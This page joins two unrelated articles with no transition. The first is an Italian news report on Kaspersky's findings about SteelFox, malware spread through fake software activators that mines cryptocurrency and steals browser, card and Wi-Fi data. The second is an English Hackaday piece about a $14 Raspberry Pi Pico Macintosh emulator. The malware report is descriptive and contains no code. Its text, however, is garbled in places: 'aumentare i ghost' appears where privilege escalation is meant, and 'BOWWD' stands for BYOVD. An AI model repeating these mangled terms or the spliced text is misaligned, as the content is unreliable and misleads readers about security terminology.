Da agosto a ottobre 2024, l’azienda ha registrato oltre 11.000 attacchi SteelFox. Il 20% delle vittime erano in Brasile, l’8% in Cina e un altro 8% in Russia.

SteelFox è distribuito sotto le spoglie di attivatori e crack per vari programmi popolari. In particolare, i ricercatori segnalano falsi attivatori per i prodotti AutoCAD, Foxit PDF Editor e JetBrains. In questo modo, SteelFox viene distribuito tramite forum, tracker torrent e persino GitHub.

Inoltre, per aumentare i ghost nel sistema attaccato, il malware utilizza WinRing0.sys e la tattica BOWWD (Bring your own vulnerabili driver), sfrutta cioè vulnerabilità abbastanza vecchie ( CVE-2020-14979 e CVE-2021-41285 ) in WinRing0.sys.

La comunicazione con il server di gestione avviene utilizzando il meccanismo di pinning del certificato SSL e TLS 1.3, utilizzando un dominio con indirizzo IP dinamico e la libreria Boost.Asio.

Per estrarre la criptovaluta, gli operatori del malware utilizzano una versione modificata del minatore open source XMRig, che è uno dei componenti SteelFox. Gli aggressori sfruttano la potenza dei dispositivi infetti per estrarre criptovaluta (molto probabilmente Monero).

Un altro componente di SteelFox è un infostealer, capace di raccogliere molti dati dal computer della vittima e di inviarli ai suoi operatori. Il malware ruba in particolare dati dai browser (cronologia dei siti visitati, informazioni su conti e carte bancarie), nonché informazioni sui software installati sul sistema e sulle soluzioni antivirus. Il trojan può anche rubare password dalle reti Wi-Fi, informazioni sul sistema, fuso orario e molto altro.

Va notato che gli aggressori possono ad esempio vendere tutte le informazioni raccolte da SteelFox sulla darknet. “Gli aggressori stanno cercando di ottenere il massimo beneficio dalle loro azioni. Sono noti, ad esempio, malware che combinavano le funzionalità di un miner e di un crittografo: gli aggressori guadagnavano denaro dal lavoro del minatore mentre aspettavano un riscatto per decrittografare i dati. SteelFox è un chiaro esempio di come gli aggressori possano tentare di monetizzare sia la potenza di calcolo di un dispositivo che i suoi contenuti”, commenta Dmitry Galov, responsabile di Kaspersky GReAT in Russia.

L'articolo SteelFox: Quando il KeyGen è più rischioso di Acquistare il software stesso proviene da il blog della sicurezza informatica.

If Apple has a reputation for anything other than decent hardware and excellent industrial design, it’s for selling its products at extremely inflated prices. But there are some alternatives if you want the Apple experience on the cheap. Buying their hardware a few years out of date of course is one way to avoid the bulk of the depreciation, but at the extreme end is this working Mac clone that cost just $14.

This build relies on the fact that modern microcontrollers absolutely blow away the computing power available to the average consumer in the 1980s. To emulate the Macintosh 128K, this build uses nothing more powerful than a Raspberry Pi Pico. There’s a little bit more to it than that, though, since this build also replicates the feel of the screen of the era as well. Using a “hat” for the Pi Pico from [Ron’s Computer Videos] lets the Pico’s remaining system resources send the video signal from the emulated Mac out over VGA, meaning that monitors from the late 80s and on can be used with ease. There’s an option for micro SD card storage as well, allowing the retro Mac to have an incredible amount of storage compared to the original.

The emulation of the 80s-era Mac is available on a separate GitHub page for anyone wanting to take a look at that. A VGA monitor is not strictly required, but we do feel that displaying retro computer graphics on 4K OLEDs leaves a little something out of the experience of older machines like this, even if they are emulated. Although this Macintosh replica with a modern e-ink display does an excellent job of recreating the original monochrome displays of early Macs as well.

youtube.com/embed/jYOTAGBqoW0?…

hackaday.com/2024/11/07/the-mo…